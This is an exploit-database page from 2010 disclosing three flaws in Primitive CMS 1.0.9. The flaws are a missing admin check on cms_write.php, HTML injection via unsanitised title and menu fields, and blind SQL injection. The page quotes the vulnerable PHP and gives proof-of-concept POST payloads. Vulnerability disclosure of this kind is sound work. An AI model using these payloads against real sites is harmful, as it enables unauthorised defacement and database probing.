Home / os / win7

[webapps / 0day] - Primitive CMS 1.0.9 Multiple Vulnerabilit

Posted on 21 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Primitive CMS 1.0.9 Multiple Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: Stephan Sattler' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================ Primitive CMS 1.0.9 Multiple Vulnerabilities ============================================ # Exploit Title: Primitive CMS 1.0.9 Multiple Vulnerabilities # Date: 20.09.2010 # Author: Stephan Sattler // Solidmedia.de # Software Website: http://www.bouzouste.info/ # Software Link: http://www.bouzouste.info/link/click.php?id=1 # Version: 1.0.9 [Vulnerability 1] # Unauthorized Access Url: http://[site]/[cmspath]/cms_write.php In cms_write.php is no check if the user has administration rights. Because of that, there are 2 more vulnerabilities. [Vulnerability 2] # Html Injection Url: http://[site]/[cmspath]/cms_write.php Vulnerable Code (cms_write.php line 13-25): $title=$_POST[title]; $content=$_POST[content]; $menutitle=$_POST[menutitle]; $sql=&quot;INSERT INTO `prim_page` ( `id` , `title` , `content`, `menutitle` ) VALUES (&#039;&#039;, &#039;$title&#039;, &#039;$content&#039;, &#039;$menutitle&#039;)&quot;; mysql_query($sql); The title, Menu-title and Content a user can submit are inserted directly into the database and inserted in the html-code on the page without and sanitizing at all. Example for the Title: &lt;/title&gt;&lt;h1&gt;Testtitle&lt;/h1&gt; Example for the Menu-Title: &lt;/a&gt;&lt;h2&gt;Menutitle&lt;/h2&gt; [Vulnerability 3] # Blind SQL-Injection // PoC Url: http://[site]/[cmspath]/cms_write.php Vulnerable Code (cms_write.php line 13-16): $title=$_POST[title]; $menutitle=$_POST[menutitle]; $sqlcheck=&quot;SELECT * FROM prim_page WHERE title=&#039;$title&#039; or menutitle=&#039;$menutitle&#039; &quot;; Postdata for Injection: title=&amp;menutitle=home&#039; AND (SELECT 1)=&#039;1&amp;content=&amp;submit=OK One can inject via title or menutitle, both are vulnerable. On success, you&#039;ll see the message: &quot;H selida yparxei&quot; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-21]</pre></body></html>

 

TOP